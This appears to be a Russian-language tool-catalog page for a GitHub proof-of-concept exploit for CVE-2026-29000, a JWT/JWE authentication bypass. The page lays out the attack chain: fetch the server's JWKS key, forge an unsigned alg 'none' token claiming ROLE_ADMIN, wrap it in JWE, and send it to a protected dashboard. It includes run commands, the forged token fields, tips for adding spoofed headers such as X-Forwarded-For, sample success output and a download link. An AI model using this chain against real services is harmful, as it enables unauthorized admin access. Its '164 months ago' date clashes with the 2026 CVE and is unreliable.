Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-29000 — PoC уязвимости CVE-2026-29000 | Kitploit
Инструменты/GitHubGitHub/zf-tm/cve-2026-29000
Аутентификация и авторизацияИнструменты шифрования/дешифрованияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubzf-tm/cve-2026-29000

CVE-2026-29000

PoC уязвимости CVE-2026-29000

Репозиторий
164 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

JWT/JWE Обход аутентификации — PoC

Скрипт Proof-of-Concept (PoC), демонстрирующий уязвимость обхода аутентификации с использованием JSON Web Tokens (JWT) и JSON Web Encryption (JWE). Этот инструмент эксплуатирует среды, которые некорректно проверяют алгоритмы токенов, принимая непроверенные JWT (alg: none), обёрнутые в валидную структуру JWE.

Как это работает

Данная цепочка эксплойта использует распространённый недостаток криптографической реализации:

  1. Извлечение ключа: Скрипт обращается к публично доступной конечной точке jwks (JSON Web Key Set) цели и загружает публичный RSA-ключ сервера.
  2. Подделка токена: Создаётся фальшивый непроверенный payload JWT, предоставляющий привилегии ROLE_ADMIN. В заголовке алгоритма намеренно устанавливается "alg": "none".
  3. Обёртка JWE: Чтобы обойти первоначальные фильтры безопасности, которые могут отклонять открытые или непроверенные токены, поддельный JWT шифруется с использованием публичного ключа сервера и упаковывается в валидный JWE.
  4. Аутентификация: Поддельный JWE отправляется на защищённую панель цели через заголовок Authorization: Bearer. Если сервер расшифровывает JWE и слепо доверяет внутреннему JWT, не проверяя его подпись, доступ предоставляется.

Предварительные требования

Перед запуском скрипта убедитесь, что у вас установлен Python 3, а также необходимые зависимости.

root@kitploit:~
pip install requests jwcrypto

Использование

Скрипту требуются два аргумента: URL защищённой панели цели, которую вы хотите протестировать, и URL, где размещены публичные ключи.

root@kitploit:~
python3 exploit.py <TARGET_URL_OF_PROTECTED_ENDPOINT> <JWKS_ENDPOINT_URL>

Настройка эксплойта

В зависимости от вашей цели вам может потребоваться изменить структуру токена или HTTP-запросы для обхода конкретных фильтров.

  1. Настройка внутренних заголовков и payload JWT

Если целевой сервер ожидает определённые поля внутри самого JWT (например, заголовок typ или пользовательские ID в payload), вы можете легко добавить их.

Откройте exploit.py и найдите этот раздел:

root@kitploit:~
token_header_information = {
    "alg": "none"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}

Вы можете добавить любые поля, разделяя их запятыми. Например, чтобы добавить typ (Type) и kid (Key ID) в заголовок JWT, а также произвольный email в payload:

root@kitploit:~
token_header_information = {
    "alg": "none",
    "typ": "JWT",
    "kid": "my-custom-key-id"
}
root@kitploit:~
token_user_information = {
    "sub": "admin",
    "email": "[email protected]",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": current_time_in_seconds,
    "exp": expiration_time_in_seconds
}
  1. Настройка HTTP-заголовков

Если ваша цель требует определённые сетевые заголовки (например, кастомный User-Agent, заголовки обхода типа X-Forwarded-For или API-ключи), найдите сетевой запрос в нижней части скрипта:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token
}

Добавьте дополнительные сетевые заголовки следующим образом:

root@kitploit:~
custom_authorization_header = {
    "Authorization": "Bearer " + final_forged_token,
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "X-Forwarded-For": "127.0.0.1",
    "Accept": "application/json"
}

Примечание: Если эти заголовки также необходимо отправлять во время первоначальной загрузки публичного ключа, вы можете передать этот же словарь в вызов requests.get() в верхней части скрипта.

Ожидаемый результат

При успешном выполнении скрипт выведет подделанный токен и проанализированный ответ от ограниченной конечной точки, подтверждая обход:

root@kitploit:~
Starting process...
Connecting to download public keys from: https://target-site.com/api/auth/jwks
Success! Downloaded the key with ID: 12345-abcde
Creating a fake administrator identity card...
Encrypting our fake identity using the server's public key...
Successfully created the encrypted master token!

Here is your forged token:
eyJhbGciOiJSU0EtT0FFUC...

Attempting to break into the dashboard...
Sending our forged token to: https://target-site.com/api/dashboard

SUCCESS! We bypassed the security.
The server thinks we are:
Username: admin
Account Type: ROLE_ADMIN

Поиск и устранение неисправностей

  • Ошибки HTTP 401/403: Целевой сервер корректно проверяет подписи и отклоняет payload с alg: none. Эксплойт не сработал, потому что цель защищена.

  • Ошибки соединения: Убедитесь, что указанные URL включают полную схему (http:// или https://) и что целевой сервер в данный момент доступен.

  • Ошибки зависимостей: Убедитесь, что jwcrypto корректно установлен через pip.

Скачать инструмент